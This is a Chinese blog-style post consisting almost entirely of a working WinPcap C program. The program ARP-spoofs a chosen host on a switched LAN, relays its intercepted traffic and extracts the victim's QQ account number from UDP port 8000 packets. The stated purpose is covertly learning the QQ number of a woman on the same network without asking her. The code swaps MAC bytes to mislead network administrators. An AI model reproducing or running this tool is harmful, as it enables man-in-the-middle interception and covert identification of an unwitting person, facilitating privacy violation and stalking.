当我们在一个交换网络里面,不知道别人的QQ号码是个很痛苦的事情,假如一个PLMM在上网,你却不知道她得QQ也没有勇气去问,是个很可惜的事情,
至于我们搞编程的,可以通过交换机的数据交换,嗅探出QQ号,因为QQ数据里面唯独QQ号码不加密。
#include "stdafx.h"
#include "pcap.h"
#include <stdio.h>
#include "Iphlpapi.h"
#include "protocol.h"
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib,"wsock32.lib")
#define PCAP_OPENFLAG_PROMISCUOUS 1
DWORD dwMyIp,dwGateIp,dwSubnet,dwDstIp;
UCHAR uMyMac[6],uGateMac[6],uDstMac[6];
pcap_t *adhandle;
int nCount = 0;//用于执行三次获取网关MAC的操作
bool bGateMac = true;
bool bDstMac = true;
void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[]);
int SendPacket(char *pBuffer, int nLen);
/* 每次捕获到数据包时,libpcap都会自动调用这个回调函数 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
ETHeader *pETHdr = (ETHeader *)pkt_data;
if(ntohs(pETHdr->type) == ETH_TYPE_ARP)
{
if(header->len < sizeof(ArpPacket)) return;
ARPHeader *pArpHdr = (ARPHeader *)((char *)pkt_data+sizeof(ETHeader));
if(ntohs(pArpHdr->opcode) == ARPOP_REPLY)
{
if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwGateIp && bGateMac)
{
if(nCount == 0)
{
memcpy(uGateMac,pArpHdr->smac,6);
nCount ++;
}else if(nCount == 3)//完成获取网关MAC
{
bGateMac = false;
return;
}else{
if(!memcmp(uGateMac,pArpHdr->smac,6))
{
nCount ++;
}else{
nCount = 0;
}
}
SendArpRequest(dwGateIp,dwMyIp,uMyMac);
}
if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwDstIp && bDstMac)
{
memcpy(uDstMac,pArpHdr->smac,6);
bDstMac = false;
}
}
}
if(ntohs(pETHdr->type) == ETH_TYPE_IP)
{
IpHeader *pIpHdr = (IpHeader *)((char*)pkt_data+sizeof(ETHeader));
if(pIpHdr->Protocol == PROTOCOL_UDP)
{
if(header->len < sizeof(ETHeader) + sizeof(IpHeader) + sizeof(UdpHeader)) return;
UdpHeader *pUdpHdr = (UdpHeader *)((char*)pIpHdr+sizeof(IpHeader));
if(ntohs(pUdpHdr->SrcPort) == 8000)
{
QQHeader *pQQHdr = (QQHeader *)((char*)pUdpHdr+sizeof(UdpHeader));
if(pQQHdr->Flag != 0x02) return;//不是qq数据包
UCHAR uQQ[4];
memcpy(uQQ,pQQHdr->Data,4);
DWORD dwQQ = 0;
for(int i=0;i<4;i++)
{
dwQQ = dwQQ*256+uQQ[i];
}
printf("找到IP:%s的QQ号:%u\n",inet_ntoa(*(in_addr*)&pIpHdr->DstAddr),dwQQ);
}
}
if(pIpHdr->DstAddr == dwDstIp && memcmp(pETHdr->dhost,uDstMac,6))//目的IP为要嗅探的IP,但是目的MAC不是对方的MAC
{
pETHdr->shost[5] ++;//源MAC不能设为网关MAC,否则会出现交换机欺骗,从而其它主机也无法上网
memcpy(pETHdr->dhost,uDstMac,6);
SendPacket((char*)pkt_data,header->len);
}
}
}
int SendPacket(char *pBuffer, int nLen)
{
if(pcap_sendpacket(adhandle,(UCHAR *)pBuffer,nLen)) return 0;
return 1;
}
void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[])
{
ArpPacket *pArpPacket = new ArpPacket;
for(int i =0;i<6;i++)
pArpPacket->eth.dhost[i] = 0xFF;
memcpy(pArpPacket->eth.shost,uSrcMac,6);
pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
pArpPacket->arp.maclen = 6;
pArpPacket->arp.iplen = 4;
pArpPacket->arp.opcode = ntohs(ARPOP_REQUEST);
memcpy(pArpPacket->arp.smac,uSrcMac,6);
pArpPacket->arp.saddr = dwSrcIP;
memset(pArpPacket->arp.dmac,0,6);
pArpPacket->arp.daddr = dwDesIP;
SendPacket((char*)pArpPacket,sizeof(ArpPacket));
delete pArpPacket;
}
void SendArpReply(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uDesMac[], UCHAR uSrcMac[])
{
ArpPacket *pArpPacket = new ArpPacket;
memcpy(pArpPacket->eth.dhost,uDesMac,6);
memcpy(pArpPacket->eth.shost,uSrcMac,6);
pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
pArpPacket->arp.maclen = 6;
pArpPacket->arp.iplen = 4;
pArpPacket->arp.opcode = ntohs(ARPOP_REPLY);
memcpy(pArpPacket->arp.smac,uSrcMac,6);
pArpPacket->arp.saddr = dwSrcIP;
memcpy(pArpPacket->arp.dmac,uDesMac,6);
pArpPacket->arp.daddr = dwDesIP;
SendPacket((char*)pArpPacket,sizeof(ArpPacket));
delete pArpPacket;
}
int WINAPI MyThread(LPVOID Param)
{
// Sleep(100);
SendArpRequest(dwGateIp,dwMyIp,uMyMac);
while(1)
{
if(bGateMac)
{
::Sleep(100);
continue;
}
break;
}
printf("网关MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n",uGateMac[0],uGateMac[1],uGateMac[2],uGateMac[3],uGateMac[4],uGateMac[5]);
printf("输入要嗅探的IP地址:");
char ip[20];
scanf("%s",ip);
dwDstIp = inet_addr(ip);
SendArpRequest(dwDstIp,dwMyIp,uMyMac);
while(1)
{
if(bDstMac)
{
::Sleep(100);
continue;
}
break;
}
printf("目标MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n",uDstMac[0],uDstMac[1],uDstMac[2],uDstMac[3],uDstMac[4],uDstMac[5]);
printf("输入每秒发送欺骗包的个数:1-50\n");
int nSpeed;
scanf("%d",&nSpeed);
UCHAR uMac[6];
uMac[0] = uDstMac[0];
uMac[1] = uDstMac[1];
uMac[2] = uDstMac[3];
uMac[3] = uDstMac[2];//交换MAC的第三和第四个字节,迷惑管理员
uMac[4] = uDstMac[4];
uMac[5] = uDstMac[5];
while(1)
{
SendArpReply(dwGateIp,inet_addr(ip),uGateMac,uMac);
Sleep(1000/nSpeed);
}
return 0;
}
int GetNetConfig(DWORD dwIp)
{
PIP_ADAPTER_INFO pAdapterInfo = NULL;
ULONG ulLen = 0;
// 为适配器结构申请内存
::GetAdaptersInfo(pAdapterInfo,&ulLen);
pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen);
// 取得本地适配器结构信息
if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS)
{
while(pAdapterInfo != NULL)
{
if(dwIp == inet_addr(pAdapterInfo->IpAddressList.IpAddress.String))
{
dwMyIp = dwIp;
memcpy(uMyMac,pAdapterInfo->Address,6);
dwSubnet = inet_addr(pAdapterInfo->IpAddressList.IpMask.String);
dwGateIp = inet_addr(pAdapterInfo->GatewayList.IpAddress.String);
// CEther::SetGateWayAddr(inet_addr(pAdapterInfo->GatewayList.IpAddress.String),"");
printf("本机IP地址为:%s\n本机MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n网关IP地址为:%s\n",
pAdapterInfo->IpAddressList.IpAddress.String,
uMyMac[0],uMyMac[1],uMyMac[2],uMyMac[3],uMyMac[4],uMyMac[5],
pAdapterInfo->GatewayList.IpAddress.String);
return 1;
}
pAdapterInfo = pAdapterInfo->Next;
}
return 0;
}
return -1;
}
int main(int argc, char* argv[])
{
pcap_if_t *alldevs;
pcap_if_t *d;
int i = 0;
char errbuf[PCAP_ERRBUF_SIZE];
/* Retrieve the device list from the local machine*/
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
printf("Error in pcap_findalldevs_ex: %s\n", errbuf);
exit(1);
}
/* Print the list */
for (d = alldevs; d != NULL; d = d->next)
{
/* Print the device’s name */
printf("%d. %s", ++ i, d->name);
/* Print the device’s dscription */
if (d->description)
{
printf("(%s)\n", d->description);
}
else
{
printf("(No description available)\n");
}
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
int nIdx;
scanf("%d", &nIdx);
if(nIdx < 1 || nIdx > i)
{
printf("\nInterface number out of range.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
/* 跳转到选中的适配器 */
for(d=alldevs, i=0; i< nIdx-1 ;d=d->next, i++);
/* 打开设备 */
if((adhandle= pcap_open_live(d->name, // 设备名
65536, // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
10, // 读取超时时间
errbuf // 错误缓冲池
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
printf("\nlistening on %s...\n", d->description);
GetNetConfig(((sockaddr_in *)(d->addresses->addr))->sin_addr.S_un.S_addr);
/* 释放设备列表 */
pcap_freealldevs(alldevs);
::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MyThread,NULL,0,0);
/* 开始捕获 */
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}